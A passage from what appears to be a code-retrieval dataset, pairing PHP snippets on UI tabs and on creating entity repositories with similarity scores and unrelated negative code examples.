'__responsive_tab_buttons_fieldset_secondary__',\n ['attributes' => $attributes]\n );\n\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-top-bg',\n '@btn-secondary-top-bg',\n $this->themeColorDefaults['btn-secondary-top-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-bottom-bg',\n '@btn-secondary-bottom-bg',\n $this->themeColorDefaults['btn-secondary-bottom-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-hover-bg',\n '@btn-secondary-hover-bg',\n $this->themeColorDefaults['btn-secondary-hover-bg']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-text-color',\n '@btn-secondary-text-color',\n $this->themeColorDefaults['btn-secondary-text-color']\n )\n );\n $fieldSetSecondaryButtons->addElement(\n $this->createColorPickerField(\n 'btn-secondary-hover-text-color',\n '@btn-secondary-hover-text-color',\n $this->themeColorDefaults['btn-secondary-hover-text-color']\n )\n );\n\n $tab->addElement($fieldSetSecondaryButtons);\n\n $attributes = array_merge($this->fieldSetDefaults, ['height' => 170]);\n $fieldSetPanels = $this->createFieldSet(\n 'panels_fieldset',\n '__responsive_tab_buttons_fieldset_panels__',\n ['attributes' => $attributes]\n );\n\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-header-bg',\n '@panel-header-bg',\n $this->themeColorDefaults['panel-header-bg']\n )\n );\n $fieldSetPanels->addElement(\n $this->createTextField(\n 'panel-header-font-size',\n '@panel-header-font-size',\n $this->themeFontDefaults['panel-header-font-size']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-header-color',\n '@panel-header-color',\n $this->themeColorDefaults['panel-header-color']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-border',\n '@panel-border',\n $this->themeColorDefaults['panel-border']\n )\n );\n $fieldSetPanels->addElement(\n $this->createColorPickerField(\n 'panel-bg',\n '@panel-bg',\n $this->themeColorDefaults['panel-bg']\n )\n );\n\n $tab->addElement($fieldSetPanels);\n\n return $tab;\n }",
"function shortcodes_tab_parent($atts, $content = null) {\n\t\textract(shortcode_atts(array(), $atts));\n\t\t$output = '';\n\t\tpreg_match_all('/flavour_tab *?title=\"([^\\\"]+)\"/i', $content, $matches);\n\t\tif(sizeof($matches[1])) {\n\t\t\t$output .= '<div class=\"flavour-tabgroup\">';\n\t\t\t$output .= '<ul class=\"flavour-tabgroup-tabs\" role=\"tablist\">';\n\t\t\tforeach ($matches[1] as $tab) {\n\t\t\t\t$output .= '<li role=\"presentation\" class=\"flavour-tabgroup-tab\"><span role=\"tab\" aria-selected=\"false\">'.$tab.'</span></li>';\n\t\t\t}\n\t\t\t$output .= '</ul>';\n\t\t\t$output .= '<ul class=\"flavour-tabs\">';\n\t\t\t$output .= do_shortcode($content);\n\t\t\t$output .= '</ul>';\n\t\t\t$output .= '</div>';\n\t\t}\n\t\treturn $output;\n\t}",
"function bpfit_weight_subtab_show_screen() {\n\t\t\tadd_action( 'bp_template_title', array($this, 'bpfit_weight_subtab_function_to_show_title') );\n\t\t\tadd_action( 'bp_template_content', array($this, 'bpfit_weight_subtab_function_to_show_content') );\n\t\t\tbp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t\t}",
"public function display(){\r\n $configured = WiziappConfig::getInstance()->settings_done;\r\n\r\n if (isset($_GET['wiziapp_configured']) && $_GET['wiziapp_configured'] == 1){\r\n $configured = TRUE;\r\n }\r\n\r\n $showAllTabs = WiziappConfig::getInstance()->finished_processing && $configured;\r\n\r\n ?>\r\n <script src=\"http://cdn.jquerytools.org/1.2.5/all/jquery.tools.min.js\"></script>\r\n <style>\r\n #wiziapp_container{\r\n background: #fff;\r\n min-height: 500px;\r\n position: relative;\r\n }\r\n #wiziapp_logo{\r\n float: left;\r\n margin-right: 5px;\r\n }\r\n\r\n #wiziapp_logo a{\r\n text-decoration: none;\r\n }\r\n\r\n #wiziapp_logo a img{\r\n border: 0px none;\r\n }\r\n #wiziapp_header{\r\n clear: both;\r\n height: 62px;\r\n width: 875px;\r\n padding: 15px 10px 25px;\r\n margin: 0px auto;\r\n }\r\n #wiziapp_container_content{\r\n width: 875px;\r\n margin: 0px auto;\r\n }\r\n #wiziapp_header ul{\r\n list-style: none;\r\n height: 48px;\r\n width: 679px;\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/menu_shadow_line.jpg) no-repeat bottom center;\r\n margin: 14px auto 0px;\r\n padding: 0px;\r\n float: right;\r\n }\r\n\r\n #wiziapp_header li{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/Menu_Close_Tabe.png) no-repeat bottom center;\r\n width: 104px;\r\n height: 48px;\r\n display: inline-block;\r\n text-align: center;\r\n font-size: 14px;\r\n }\r\n\r\n #wiziapp_header li.active{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/Menu_open_tab.png) no-repeat bottom center;\r\n font-weight: bolder;\r\n position: relative;\r\n top: -4px;\r\n }\r\n #wiziapp_header li.active.single{\r\n top: 1px;\r\n }\r\n #wiziapp_header li a{\r\n color: #000;\r\n text-decoration: none;\r\n display: block;\r\n margin-top: 23px;\r\n }\r\n #wiziapp_header li.active a{\r\n margin-top: 18px;\r\n }\r\n #wiziapp_container .col{\r\n float: left;\r\n }\r\n #wiziapp_support_links{\r\n width: 200px;\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/MyAccount_Shadow_center.jpg) no-repeat scroll left center transparent;\r\n padding: 0 0 0 40px;\r\n min-height: 334px;\r\n margin-left: 25px;\r\n }\r\n #wiziapp_container .clear{\r\n clear: both;\r\n }\r\n #wiziapp_support_table{\r\n\r\n }\r\n #wiziapp_container table{\r\n width: 607px;\r\n margin-top: 15px;\r\n border-collapse: collapse;\r\n }\r\n #wiziapp_container table td{\r\n color: #353535;\r\n width: 80px;\r\n }\r\n #wiziapp_container table thead{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/generator/main_sprite.png) no-repeat scroll 0px -349px;\r\n }\r\n #wiziapp_container table thead th{\r\n font-weight: normal;\r\n height: 59px;\r\n width: 80px;\r\n text-align: center;\r\n padding-right: 10px;\r\n }\r\n #wiziapp_container table .v_first-col{\r\n width: 150px;\r\n text-align: left;\r\n padding-left: 10px;\r\n }\r\n #wiziapp_container table td.v_first-col{\r\n padding-left: 10px;\r\n color:#0fb3fb;\r\n }\r\n #wiziapp_container table tbody td{\r\n border-right: 2px #ffffff solid;\r\n height: 59px;\r\n text-align: center;\r\n }\r\n #wiziapp_container table tbody tr.v_odd td{\r\n background-color: #f0f0f0;\r\n }\r\n #wiziapp_container table .status_col{\r\n width: 30px;\r\n }\r\n #wiziapp_container table .status_col div{\r\n height: 100%;\r\n width: 17px;\r\n margin: 0px auto;\r\n }\r\n #wiziapp_container table .status_col .success{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/V_Icon.png) no-repeat left center;\r\n }\r\n #wiziapp_container table .status_col .failed{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/validetion_error_Icon.png) no-repeat left center;\r\n }\r\n #wiziapp_container table span.sep, #wiziapp_container table a{\r\n color:#0fb3fb;\r\n }\r\n \r\n #wiziapp_container .wiziapp_button{\r\n background: url(<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/cms/ReportBTN.png) no-repeat left center;\r\n width: 164px;\r\n height: 33px;\r\n line-height: 33px;\r\n color: #000;\r\n text-align: center;\r\n font-weight: bold;\r\n text-decoration: none;\r\n display: block;\r\n margin: 30px auto;\r\n }\r\n #wiziapp_container table tr.details{\r\n display: none;\r\n }\r\n #wiziapp_container .wiziapp_error{\r\n padding: 0px 10px 20px;\r\n position: static;\r\n background: none transparent;\r\n width: auto;\r\n height: auto;\r\n text-align: left;\r\n }\r\n .wiziapp_errors_container{\r\n display: none;\r\n z-index: 999;\r\n }\r\n #wiziapp_env_indicator{\r\n color: #0fb3fb;\r\n font-size: 12px;\r\n position: absolute;\r\n top: 0px;\r\n right: 25px;\r\n }\r\n </style>\r\n <script type=\"text/javascript\">\r\n jQuery(document).ready(function($){\r\n $(\"#wiziapp_main_tabs a\").click(function(event){\r\n event.preventDefault();\r\n top.document.location.replace('<?php\t \t echo get_admin_url();?>admin.php?page='+$(this).attr('rel'));\r\n return false;\r\n });\r\n\r\n $(\"#wiziapp_container .retry\").click(function(event){\r\n event.preventDefault();\r\n top.document.location.reload(true);\r\n return false;\r\n });\r\n\r\n $(\"#wiziapp_container .details\").click(function(event){\r\n event.preventDefault();\r\n var $el = jQuery(this).parents(\"tr:first\").next(\"tr\");\r\n\r\n if ( $el.is(':visible') ){\r\n $el.hide();\r\n } else {\r\n $el.show();\r\n }\r\n $el = null;\r\n return false;\r\n });\r\n\r\n $(\"#wiziapp_container .wiziapp_errors_container\").bind('closingReportForm', function(){\r\n jQuery('.wiziapp_errors_container').data('overlay').close();\r\n });\r\n });\r\n </script>\r\n <div id=\"wiziapp_container\">\r\n <div id=\"wiziapp_header\">\r\n <div id=\"wiziapp_logo\"><a href=\"#\"><img src=\"<?php\t \t echo WiziappConfig::getInstance()->getCdnServer(); ?>/images/generator/main_logo.png\" alt=\"Extend your reach\" /></a></div>\r\n <ul id=\"wiziapp_main_tabs\">\r\n <?php\t \t if ( $showAllTabs ) { ?>\r\n <?php\t \t if (WiziappConfig::getInstance()->app_live !== FALSE){ ?>\r\n <li class=\"wiziapp_header_link\">\r\n <a rel=\"wiziapp_statistics_display\" href=\"/cms/controlPanel/statistics\">Statistics</a>\r\n </li>\r\n <?php\t \t } ?>\r\n <li class=\"wiziapp_header_link\">\r\n <a rel=\"wiziapp_app_info_display\" href=\"/cms/controlPanel/appInfo\">App Info</a>\r\n </li>\r\n <li class=\"wiziapp_header_link\">\r\n <a rel=\"wiziapp_my_account_display\" href=\"/cms/controlPanel/myAccount\">My Account</a>\r\n </li>\r\n <?php\t \t } ?>\r\n <li class=\"wiziapp_header_link active <?php\t \t echo ($showAllTabs) ? '' : 'single'; ?>\">\r\n <a rel=\"wiziapp_support_display\" href=\"/cms/controlPanel/support\">Support</a>\r\n </li>\r\n </ul>\r\n </div>\r\n <div id=\"wiziapp_container_content\">\r\n <div id=\"wiziapp_support_table\" class=\"col\">\r\n <table border=\"0\">\r\n <thead>\r\n <tr>\r\n <th class=\"v_first-col\">Requirement</th>\r\n <th class=\"status_col\">Status</th>\r\n <th>Solution</th>\r\n </tr>\r\n </thead>\r\n <tbody>\r\n <?php\t \t \r\n echo $this->getStatusRow('WritingPermissions', 'Writing Permissions');\r\n echo $this->getStatusRow('PhpGraphicRequirements', 'GD / ImageMagick', 'v_odd');\r\n echo $this->getStatusRow('AllowUrlFopen', 'allow_url_fopen');\r\n ?>\r\n </tbody>\r\n </table>\r\n <div class=\"report_container wiziapp_errors_container\"></div>\r\n </div>\r\n <div id=\"wiziapp_support_links\" class=\"col\">\r\n <a href=\"http://wiziapp.com/support\" target=\"_blank\" id=\"wiziapp_faq_link\" class=\"wiziapp_button\">FAQ</a>\r\n <a href=\"http://wiziapp.com/contact\" target=\"_blank\" id=\"wiziapp_contact_link\" class=\"wiziapp_button\">Contact Us</a>\r\n </div>\r\n <div class=\"clear\"></div>\r\n </div>\r\n <div id=\"wiziapp_env_indicator\">\r\n <?php\t \t echo WIZIAPP_ENV; ?> :: <?php\t \t echo WIZIAPP_VERSION; ?>\r\n </div>\r\n </div>\r\n <?php\t \t \r\n }",
"public function index()\n {\n $data['jobs'] = $this->admin_m->getRecords();\n\n $data['content'] = 'admin/adminJobs';\n $this->load->view('components/template', $data);\n }",
"function __construct()\n {\n parent::__construct();\n \n $html = new THtmlRenderer('app/resources/quem_somos.html'); \n \n $panel = new TPanelGroup('Quem Somos');\n TTransaction::open('futapp');\n $site = new Site(1);\n TTransaction::close();\n \n $replaces = [];\n $replaces['texto'] = $site->quem_somos;\n \n // replace the main section variables\n $html->enableSection('main', $replaces);\n $panel->add($html);\n \n $vbox = TVBox::pack($panel);\n $vbox->style = 'display:block; width: 90%';\n \n // add the template to the page\n parent::add( $vbox );\n }",
"function create(&$a_pg_obj, $a_hier_id, $a_pc_id = \"\")\n\t{\n\t\t$this->node = $this->createPageContentNode();\n\t\t$a_pg_obj->insertContent($this, $a_hier_id, IL_INSERT_AFTER, $a_pc_id);\n\t\t$this->tabs_node =& $this->dom->create_element(\"Tabs\");\n\t\t$this->tabs_node =& $this->node->append_child($this->tabs_node);\n\t}",
"public function buildSubwindow()\n {\n return '<button type=\"menu\" ><![CDATA['.$this->content.']]></button>';\n }",
"public static function preRenderTabContent(array $element) {\n // Build content array.\n $element['content'] = [\n '#theme' => 'contacts_dash_tabs',\n '#weight' => -1,\n '#tabs' => [],\n '#manage_mode' => $element['#manage_mode'],\n '#attached' => [\n 'library' => ['contacts/tabs'],\n ],\n ];\n\n foreach ($element['#tabs'] as $tab_id => $tab) {\n $element['content']['#tabs'][$tab_id] = [\n 'text' => $tab['label'],\n 'link' => Url::fromRoute('page_manager.page_view_contacts_dashboard_contact', [\n 'user' => $element['#user']->id(),\n 'subpage' => $tab['path'],\n ]),\n ];\n\n // Add the drag icon.\n if ($element['#manage_mode']) {\n $element['content']['#tabs'][$tab_id]['link_attributes']['class'][] = 'manage-tab';\n }\n\n // Swap links for AJAX request links.\n if ($element['#ajax']) {\n $element['content']['#tabs'][$tab_id]['link_attributes']['data-ajax-url'] = Url::fromRoute('contacts.ajax_subpage', [\n 'user' => $element['#user']->id(),\n 'subpage' => $tab['path'],\n ])->toString();\n $element['content']['#tabs'][$tab_id]['link_attributes']['class'][] = 'use-ajax';\n $element['content']['#tabs'][$tab_id]['link_attributes']['data-ajax-progress'] = 'fullscreen';\n }\n\n // Add tab id to attributes.\n $element['content']['#tabs'][$tab_id]['attributes']['data-contacts-drag-tab-id'] = $tab_id;\n $element['content']['#tabs'][$tab_id]['link_attributes']['data-contacts-tab-id'] = $tab_id;\n\n // Add active class to current tab.\n if ($tab['path'] == $element['#subpage']) {\n $element['content']['#tabs'][$tab_id]['attributes']['class'][] = 'is-active';\n $element['content']['#tabs'][$tab_id]['link_attributes']['class'][] = 'is-active';\n }\n }\n\n return $element;\n }",
"protected function getTabContent(string $tab) {\n /** @var \\Drupal\\group\\Entity\\GroupInterface $group */\n $group = $this->getContextValue('group');\n\n $build = [];\n switch ($tab) {\n case 'members':\n $group_ids = [$group->id()];\n if ($group->hasField('circles')) {\n $group_ids = array_merge($group_ids, array_column($group->get('circles')->getValue(), 'target_id'));\n }\n $build['members'] = $this->getMembersViewRender(implode('+', $group_ids));\n $build['contact'] = $this->getContactActionsRender($group);\n $build['export'] = $this->getExportActionsViewRender($group);\n break;\n\n case 'admins':\n $build['members'] = $this->getMembersViewRender($group->id(), TRUE);\n break;\n\n case 'inherit':\n if ($this->moduleHandler->moduleExists('living_spaces_subgroup')) {\n $build['tree'] = $this->getGroupTreeRender($group);\n }\n\n /** @var \\Drupal\\group\\Entity\\Storage\\GroupRoleStorageInterface $role_storage */\n $role_storage = $this->entityTypeManager->getStorage('group_role');\n $roles = $role_storage->loadByUserAndGroup($this->currentUser, $group);\n $current_is_admin = FALSE;\n foreach ($roles as $role) {\n if ($role->get('is_space_admin')) {\n $current_is_admin = TRUE;\n break;\n }\n }\n\n if ($this->moduleHandler->moduleExists('living_spaces_circles') &&\n (\n $current_is_admin ||\n $this->currentUser->hasPermission('manage circle spaces') ||\n $group->hasPermission('manage circle spaces', $this->currentUser)\n )\n ) {\n $build['circle'] = $this->getCircleFormRender($group);\n\n $url = Url::fromRoute('entity.group.add_form', [\n 'group_type' => 'circle',\n ], [\n 'query' => ['space' => $group->id()],\n ]);\n\n $build['add_cricle'] = [\n '#type' => 'link',\n '#url' => $url,\n '#title' => $this->t('Add circle'),\n '#attributes' => ['class' => ['btn', 'btn-primary']],\n ];\n }\n break;\n\n }\n\n return $build;\n }",
"function CreateChildControls() {\n }",
"function isms_component_messages_addtab($cbtype, &$cbdata)\n{\n $settings_raw = get_option(\"isms_component_options\");\n if ($settings_raw == \"\")\n $settings = array();\n else\n $settings = unserialize($settings_raw);\n $enabled = grab_array_var($settings, \"enabled\", 0);\n if ($enabled != 1)\n return;\n\n $newtab = array(\n \"id\" => \"isms\",\n \"title\" => \"iSMS\",\n );\n\n $cbdata[\"tabs\"][] = $newtab;\n}",
"function getTabs(&$tabs_gui)\n\t{\n\t\tglobal $rbacsystem;\n\n\t\t// properties\n\t\tif ($rbacsystem->checkAccess(\"write\", $_GET[\"ref_id\"]))\n\t\t{\n\t\t\t$tabs_gui->addTarget(\"edit_properties\",\n\t\t\t\t\"repository.php?cmd=properties&ref_id=\".$_GET[\"ref_id\"],\n\t\t\t\t\"properties\");\n\t\t}\n\n\t\t// edit permission\n\t\tif ($rbacsystem->checkAccess(\"edit_permission\", $_GET[\"ref_id\"]))\n\t\t{\n\t\t\t$tabs_gui->addTarget(\"perm_settings\",\n\t\t\t\t\"repository.php?cmd=permissions&ref_id=\".$_GET[\"ref_id\"],\n\t\t\t\t\"permissions\");\n\t\t}\n\t}",
"function tab($courseid, $blockid, $forum, $chatid, $groupid, $current_tab = 'description') {\n global $CFG;\n\n $tabs = array();\n $row = array();\n $inactive = array();\n $activated = array();\n\n if (!$groupid) { // Imprime o map somente se houver grupo.\n $inactive[] = 'map';\n }\n\n $row[] = new tabobject('description',\n $CFG->wwwroot.'/blocks/pbltool/view.php?blockid='.$blockid.'&courseid='.$courseid.'&groupid='.$groupid,\n get_string('description', 'block_pbltool'));\n $row[] = new tabobject('tasks',\n $CFG->wwwroot.'/blocks/pbltool/view_tasks.php?blockid='.$blockid.'&courseid='.$courseid.'&groupid='.$groupid ,\n get_string('tasks', 'block_pbltool'));\n $row[] = new tabobject('map',\n $CFG->wwwroot.'/blocks/pbltool/view_gantt.php?blockid='.$blockid.'&courseid='.$courseid.'&groupid='.$groupid.'\"\n onclick=\"this.target=\\'map\\'; return\n openpopup(\\'/blocks/pbltool/view_gantt.php?blockid='.$blockid.'&courseid='.$courseid.'&groupid='.$groupid.'\\'\n ,\\'map\\', \\'resizable=1,scrollbars=1,directories=o,location=0,menubar=0,toolbar=0,status=0,width=800,height=450\\');',\n get_string('map', 'block_pbltool'));\n $row[] = new tabobject('forum', $CFG->wwwroot.'/mod/forum/view.php?f='.$forum . '&group=' . $groupid . '\"\n onclick=\"this.target=\\'forum\\';\n return openpopup(\\'/mod/forum/view.php?f='.$forum .'&group=' . $groupid .'\\' ,\\'forum\\',\n \\'resizable=1,scrollbars=1,directories=o,location=0,menubar=0,toolbar=0,status=0,width=1000,height=600\\');',\n get_string('forum', 'block_pbltool'));\n\n if ($groupid) {\n $row[] = new tabobject('chat', $CFG->wwwroot.'/mod/chat/gui_header_js/index.php?id='.$chatid.'&groupid='.$groupid. '\"\n onclick=\"this.target=\\'chat\\';\n return openpopup(\\'/mod/chat/gui_header_js/index.php?id='.$chatid.'&groupid='.$groupid .'\\' ,\\'chat\\',\n \\'resizable=1,scrollbars=1,directories=o,location=0,menubar=0,toolbar=0,status=0,width=800,height=450\\');',\n get_string('groupchat', 'block_pbltool'));\n } else {\n $row[] = new tabobject('chat', $CFG->wwwroot.'/mod/chat/gui_header_js/index.php?id='.$chatid.'&groupid='.$groupid. '\"\n onclick=\"this.target=\\'chat\\';\n return openpopup(\\'/mod/chat/gui_header_js/index.php?id='.$chatid.'&groupid='.$groupid .'\\' ,\\'chat\\',\n \\'resizable=1,scrollbars=1,directories=o,location=0,menubar=0,toolbar=0,status=0,width=800,height=450\\');',\n get_string('Chat', 'block_pbltool'));\n }\n\n if (count($row) > 1) {\n $tabs[] = $row;\n return print_tabs($tabs, $current_tab, $inactive, $activated, true);\n }\n}",
"public function addContainer(&$container)\n {\n parent::addContainer($container);\n \n if (ObjectIntrospector::isA($container, 'TabPage') && $this->activeTabPagePersistor->getValue() == '')\n $this->activeTabPagePersistor->setValue($container->getName());\n }"
]
| [
"0.72334003",
"0.6449623",
"0.64269555",
"0.60135627",
"0.60053825",
"0.5973659",
"0.5968985",
"0.584306",
"0.5832033",
"0.5829373",
"0.57858276",
"0.5716708",
"0.570044",
"0.56979674",
"0.56921065",
"0.5657792",
"0.5644977",
"0.5628975",
"0.5624484",
"0.5566153",
"0.55645657",
"0.55583704",
"0.55560535",
"0.55421275",
"0.5542087",
"0.5540325",
"0.55239654",
"0.5518743",
"0.55172074",
"0.5515528",
"0.55033046",
"0.5494671",
"0.54920936",
"0.54824513",
"0.5457841",
"0.5454379",
"0.54433525",
"0.54409444",
"0.5439984",
"0.5434871",
"0.5433563",
"0.5428268",
"0.54099697",
"0.540917",
"0.5409006",
"0.53813833",
"0.5363015",
"0.5354552",
"0.53462076",
"0.5344089",
"0.534038",
"0.53369683",
"0.5327118",
"0.5323474",
"0.5318965",
"0.5313362",
"0.5300654",
"0.52735406",
"0.5271153",
"0.5262676",
"0.5261946",
"0.5259471",
"0.5254181",
"0.5251347",
"0.524672",
"0.52315754",
"0.5226058",
"0.52240443",
"0.5212858",
"0.52121705",
"0.5206779",
"0.51995337",
"0.5183488",
"0.51807547",
"0.51802295",
"0.5180017",
"0.5171711",
"0.5164422",
"0.5163526",
"0.51562333",
"0.51545316",
"0.5150051",
"0.5146125",
"0.5144725",
"0.51445746",
"0.51432395",
"0.51351535",
"0.5132884",
"0.5132683",
"0.5129019",
"0.5127075",
"0.51203495",
"0.51203424",
"0.51191556",
"0.5114145",
"0.5108778",
"0.5107434",
"0.51006544",
"0.50926226",
"0.5090144"
]
| 0.7911955 | 0 |
Create a entity repository | public function __construct(Database $db, string $klass)
{
$db->assertValidEntityClass($klass);
$this->db = $db;
$this->klass = $klass;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createRepository()\n {\n $repositoryOptions = [\n 'repository' => $this->info['repositoryName'],\n '--module' => $this->moduleName,\n ];\n $options = $this->setOptions([\n 'parent',\n 'uploads',\n 'data',\n 'int',\n 'float',\n 'bool',\n ]);\n\n $this->call('engez:repository', array_merge($repositoryOptions, $options));\n }",
"private function createEntity()\n {\n $this->entity = $this->container->make($this->entity());\n }",
"public function createEntity();",
"public function create($repository);",
"public function getRepository(): EntityRepository;",
"public function createRepository($entityName)\n {\n if (isset($this->repositories[$entityName])) {\n //echo 'Repo exist -> returning';\n return $this->repositories[$entityName];\n }\n\n $classname = \"\\\\Model\\Repository\\\\{$entityName}Repository\";\n\n //todo: might check if file with repo exist\n //echo 'creating repo'\n $repo = new $classname();\n $repo->setPdo($this->pdo);\n $this->repositories[$entityName] = $repo;\n\n return $repo;\n }",
"public function createRepository()\n {\n $schema = $this->getConnection()->getSchemaBuilder();\n\n $schema->create($this->table, function ($table) {\n $table->increments('id');\n $table->string('plugin');\n $table->string('migration');\n $table->integer('batch');\n });\n }",
"function create($entity);",
"public function create(Entity $entity);",
"public function create($entity);",
"abstract protected function createEntities();",
"abstract protected function createEntityInstance();",
"abstract public function repository();",
"function create(IContract $entity);",
"public function createEntity($entityName = null);",
"public static function create()\n {\n $isDevMode = true;\n $proxyDir = null;\n $cache = null;\n $useSimpleAnnotationReader = false;\n $config = Setup::createAnnotationMetadataConfiguration([__DIR__ . \"/../\"], $isDevMode, $proxyDir, $cache, $useSimpleAnnotationReader);\n // or if you prefer yaml or XML\n //$config = Setup::createXMLMetadataConfiguration(array(__DIR__.\"/config/xml\"), $isDevMode);\n //$config = Setup::createYAMLMetadataConfiguration(array(__DIR__.\"/config/yaml\"), $isDevMode);\n\n // database configuration parameters\n $conn = require __DIR__.'/../../config/doctrine.php';\n\n // obtaining the entity manager\n $entityManager = EntityManager::create($conn, $config);\n\n return $entityManager;\n }",
"public function create(array $entity)\n {\n \n }",
"public function initRepository(): void;",
"public function getRepository(EntityManagerInterface $entityManager, $entityName);",
"public abstract function getRepository();",
"public function createEntity($name);",
"abstract public function getRepository();",
"abstract public function getRepository();",
"public function create()\n {\n $invoice = new InvoiceEntity();\n $invoice->setNumber('019101910191091')\n ->setValue(100.90)\n ->setUrl('http://domain.com')\n ->setIssuanceDate('2017-09-15')\n ->setKey('POL9898AS');\n\n $tracking = new TrackingEntity();\n $tracking->setOrderId('00001010101AA')\n ->setStatus('in_route')\n ->setCode('BR800OPR5')\n ->setInvoice($invoice);\n\n $this->dm->persist($tracking);\n $this->dm->flush();\n }",
"public function create(AbstractEntity $entity)\n {\n throw new \\Exception('Please override this method in your own repository');\n }",
"abstract protected function getRepository();",
"public function getRepository();",
"public function createEntity($data = array());",
"public function createEntity()\n {\n $createdCompany = new Company();\n $createdCompany->setTitle('Test Company')\n ->setIco('11025848744')\n ->setDic('1258745968444')\n ->setStreet('Cesta 125')\n ->setZip('021478')\n ->setCity('Bratislava')\n ->setCountry('Slovenska Republika');\n\n $this->em->persist($createdCompany);\n $this->em->flush();\n\n return $createdCompany;\n }",
"protected function makeRepo()\n {\n // debido a que el repositorio de direccion depende\n // del repositorio de empleado que tiene sus\n // dependendias, y como no queremos usar\n // el IOC container, lo hacemos\n // explicitamente aqui.\n return new AddressRepository(\n new Address(),\n new EmployeeRepository(\n new Employee(),\n new UserRepository(new User())\n )\n );\n }",
"public function create($service, $entity);",
"public function repository(): CrudRepository\n {\n return new ResourceRepository();\n }",
"protected function getRepository() {}",
"protected function createEntity()\n {\n return new $this->entityClass();\n }",
"private function getRepo($entity){\n\t\treturn $this->container->get(\"doctrine\")->getRepository($this->namespace.':'.$entity);\n\t}",
"public static function create($entity = '')\n\t{\n\t\t$entityObject = '\\\\model\\\\orm\\\\'.$entity;\n\n\t\treturn new $entityObject;\n\t}",
"public function repository(): RepositoryContract;",
"public static function create($entity)\n {\n return static::mapper()->create($entity);\n }",
"public function createAction()\n {\n $type = $this->params('type');\n $instance = $this->getInstanceManager()->getInstanceFromRequest();\n $query = $this->params()->fromQuery();\n $entity = $this->getEntityManager()->createEntity(\n $type,\n $query,\n $instance\n );\n $this->getEntityManager()->flush();\n\n $data = ['entity' => $entity, 'data' => $query];\n $response = $this->getEventManager()->trigger('create.postFlush', $this, $data);\n return $this->checkResponse($response);\n }",
"protected function makeRepository()\n {\n if ($this->files->exists($path = $this->getRepositoryPath())) {\n return $this->error($this->className . ' already exists!');\n }\n $this->makeDirectory($path);\n $this->files->put($path, $this->compileRepositoryStub());\n $this->info('Repository created successfully.');\n }",
"public function createRepository()\n {\n if (!interface_exists('Puli\\Repository\\Api\\ResourceRepository')) {\n throw new RuntimeException('Please install puli/repository to create ResourceRepository instances.');\n }\n\n $repo = new JsonRepository(__DIR__.'/path-mappings.json', __DIR__.'/..', true);\n\n return $repo;\n }",
"abstract protected function getNewEntityInstance();",
"public function create()\n {\n $entityClassName = $this->getEntityClassName();\n return $entityClassName::create($this, null);\n }",
"protected function create()\n {\n return new $this->entityClass();\n }",
"public function createEntity() {\r\n\t\t$entity = $this->getAnnotation('entity');\r\n\t\tif($entity) {\r\n\t\t\treturn new $entity;\r\n\t\t}\r\n\t\treturn false;\r\n\t}",
"public function getEntityRepository()\n {\n return $this->entityRepository;\n }",
"private function createRepository()\n {\n $this->output->write('Creating repository... ');\n\n try {\n $versionControlRepository = ($this->config->scm->type == 'gitlab') ?\n new VersionControlRepositoryGitLab($this->config) : new VersionControlRepositoryGitHub($this->config);\n $versionControlRepository->create($this->project);\n\n $this->output->writeln('<info>OK</info>');\n } catch (\\Exception $e) {\n $message = 'Error: '. $e->getMessage();\n $this->output->writeln('<error>'. $message .'</error>');\n throw new \\RuntimeException($message);\n }\n }",
"public function create()\n {\n $githubclient = new GHClient();\n $githubclient->authenticate(Auth()->user()->accesstoken, GHClient::AUTH_ACCESS_TOKEN);\n\n foreach ($githubclient->user()->orgs() as $org) {\n $locorg = array(\n \"name\" => $org['login'],\n \"user_id\" => Auth()->user()->id\n );\n Organization::firstOrCreate($locorg);\n }\n foreach ($githubclient->user()->myRepositories() as $Gitrepo) {\n $locrepo = array(\n \"name\" => $Gitrepo['full_name'],\n \"user_id\" => Auth()->user()->id\n );\n Repo::firstOrCreate($locrepo);\n }\n\n return Redirect::back();\n }",
"public function repository()\n {\n return new Eadrax\\Repository\\Project\\Add;\n }",
"private function createRepositoryDefinition()\n {\n $id = $this->getServiceId('repository');\n if (!$this->container->has($id)) {\n $definition = new Definition($class = $this->getServiceClass('repository'));\n $definition->setArguments([\n new Reference($this->getServiceId('manager')),\n new Reference($this->getServiceId('metadata'))\n ]);\n if (is_array($this->options['translation'])) {\n $definition\n ->addMethodCall('setLocaleProvider', [new Reference('ekyna_core.locale_provider.request')]) // TODO alias / configurable ?\n ->addMethodCall('setTranslatableFields', [$this->options['translation']['fields']])\n ;\n }\n $this->container->setDefinition($id, $definition);\n }\n }",
"public function createEntity($entity): AbstractNLUEntity\n {\n return new LuisEntity($entity, $this->getQuery());\n }",
"public function create()\n {\n return $this->repository->create($this->repository->all());\n }",
"protected function createRepository($entityName = null)\n {\n if ( ! $this->schemaReloaded || ! $this->fixturesReloaded) {\n throw new RuntimeException('Schema or fixures not reloaded, did you call parent::setUp()?');\n }\n if (null === $entityName) {\n if (null === $this->entityName) {\n throw new UnexpectedValueException(\n 'Please provide entity name in overriding class or as first argument'\n );\n }\n $entityName = $this->entityName;\n }\n return $this->getEntityManager()->getRepository($entityName);\n }",
"abstract public function createTemplateEntity();",
"function repositoryCustom()\n {\n }",
